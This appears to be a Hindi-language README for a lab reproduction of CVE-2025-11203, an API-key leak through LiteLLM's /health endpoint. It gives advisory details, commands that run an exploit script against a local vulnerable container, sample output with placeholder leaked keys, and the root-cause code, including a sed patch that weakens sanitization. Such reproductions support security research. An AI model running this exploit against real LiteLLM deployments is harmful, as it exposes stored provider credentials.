
संबंधित भेद्यता को व्यक्तिगत रूप से दोहराने के लिए कोड
LiteLLM (संस्करण < 1.63.14) का
/healthएंडपॉइंटapi_keyपैरामीटर को संसाधित करते समय, संवेदनशील जानकारी को सही ढंग से फ़िल्टर नहीं करता, जिससे प्रमाणित उपयोगकर्ता अन्य मॉडल कॉन्फ़िगरेशन में संग्रहीत API Key प्राप्त कर सकते हैं।_clean_endpoint_data()फ़ंक्शन द्वारा हटाया जाने वालाapi_keyफ़ील्ड कुछ कोड पथों में लीक हो जाता है।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2025-11203 |
| ZDI ID | ZDI-25-929 (ZDI-CAN-26585) |
| CVSS v3.0 | 3.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N |
| CWE | CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) |
| प्रभावित | LiteLLM < 1.63.14 |
| ठीक किया गया | v1.63.14+ (_clean_endpoint_data() का व्यापक अनुप्रयोग) |
| प्रकाशित | 2025-10-29 |
| खोजकर्ता | David Fiser & Alfredo Oliveira — Trend Micro Security Research |
| विक्रेता को रिपोर्ट | 2025-03-25 |
| लिंक | ZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq |
LiteLLM का /health एंडपॉइंट सभी कॉन्फ़िगर किए गए मॉडलों की स्वास्थ्य स्थिति लौटाता है। सामान्यतः, _clean_endpoint_data()
फ़ंक्शन को हेल्थ चेक प्रतिक्रिया से संवेदनशील फ़ील्ड (जैसे api_key, x-api-key आदि) हटाने चाहिए।
हालाँकि, v1.63.14 से पहले, यह क्लीनिंग फ़ंक्शन कुछ कोड पथों में निष्पादित नहीं होता था या अपूर्ण रूप से निष्पादित होता था, जिसके परिणामस्वरूप मॉडल कॉन्फ़िगरेशन में मौजूद API Key हेल्थ चेक प्रतिक्रिया में स्पष्ट पाठ (plaintext) के रूप में लौटाई जाती थी।
| एंडपॉइंट | विधि | विवरण |
|---|---|---|
/health | GET | सभी मॉडलों की स्वास्थ्य स्थिति लौटाता है |
/health/liveliness | GET | जीवितता जांच |
/health/readiness | GET | तत्परता जांच |
प्रमाणित उपयोगकर्ता हेल्थ चेक इंटरफ़ेस के माध्यम से प्राप्त कर सकते हैं:
# 1. 启动脆弱版 LiteLLM
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 运行利用脚本
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key
# 4. 查看完整响应
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose
# 5. (可选)验证修复版本
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
Target : http://localhost:4000
API Key : sk-litellm-master-key...
Endpoint : /health
[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
HTTP 200 — OK
[*] Step 2: Scanning for leaked credentials...
[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!
Path : unhealthy_endpoints[0].api_key
Field : api_key
Value : sk-this-is-a-leaked-openai-key...cdef123456 (len=43)
Path : unhealthy_endpoints[1].api_key
Field : api_key
Value : sk-another-leaked-key-789012xy...-789012xyz (len=31)
Path : unhealthy_endpoints[2].api_key
Field : api_key
Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx (len=33)
Models checked: 3
Credentials leaked: 3
[🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!
नोट: चरण 1 में ~60 सेकंड लगते हैं क्योंकि LiteLLM प्रत्येक अपस्ट्रीम मॉडल की जाँच करता है (नकली कुंजियों के कारण प्रत्येक कनेक्शन टाइम आउट हो जाता है)। लीक हुई कुंजियाँ
unhealthy_endpointsके अंतर्गत दिखाई देती हैं क्योंकि नकली कुंजियाँ वास्तव में OpenAI/Anthropic से कनेक्ट नहीं हो सकतीं।
फिक्स्ड संस्करण लीक नहीं करता:
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
No API keys found in response.
[+] Expected: keys sanitized by _clean_endpoint_data()
यह दोष litellm/proxy/health_check.py में स्थित _clean_endpoint_data() फ़ंक्शन में है,
जो ILLEGAL_DISPLAY_PARAMS सूची के माध्यम से api_key जैसे संवेदनशील फ़ील्ड को फ़िल्टर करता है:
ILLEGAL_DISPLAY_PARAMS = [
"messages",
"api_key",
"prompt",
"input",
"vertex_credentials",
"aws_access_key_id",
"aws_secret_access_key",
]
def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
return (
{k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
if details is not False
else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
)
इस डेमो में sed के माध्यम से ILLEGAL_DISPLAY_PARAMS से "api_key" हटा दिया गया है,
जिससे /health प्रतिक्रिया मूल मॉडल कॉन्फ़िगरेशन लौटाती है — यह अनुकरण करते हुए कि यह क्लीनिंग फ़ंक्शन कुछ कोड पथों में बायपास हो जाता है।
CVE-2025-11203/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM
├── litellm_config.yaml # Config with 3 models + API keys
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│ └── exploit.py # Main exploit script
├── docs/
│ └── advisory.md
└── screenshots/
यह समस्या v1.63.14 में ठीक की गई, यह सुनिश्चित करते हुए कि _clean_endpoint_data() को सभी हेल्थ चेक कोड पथों में सही ढंग से कॉल किया जाए।
/health एंडपॉइंट तक पहुँच के स्रोतों को प्रतिबंधित करेंअस्वीकरण: यह सामग्री केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान की गई है।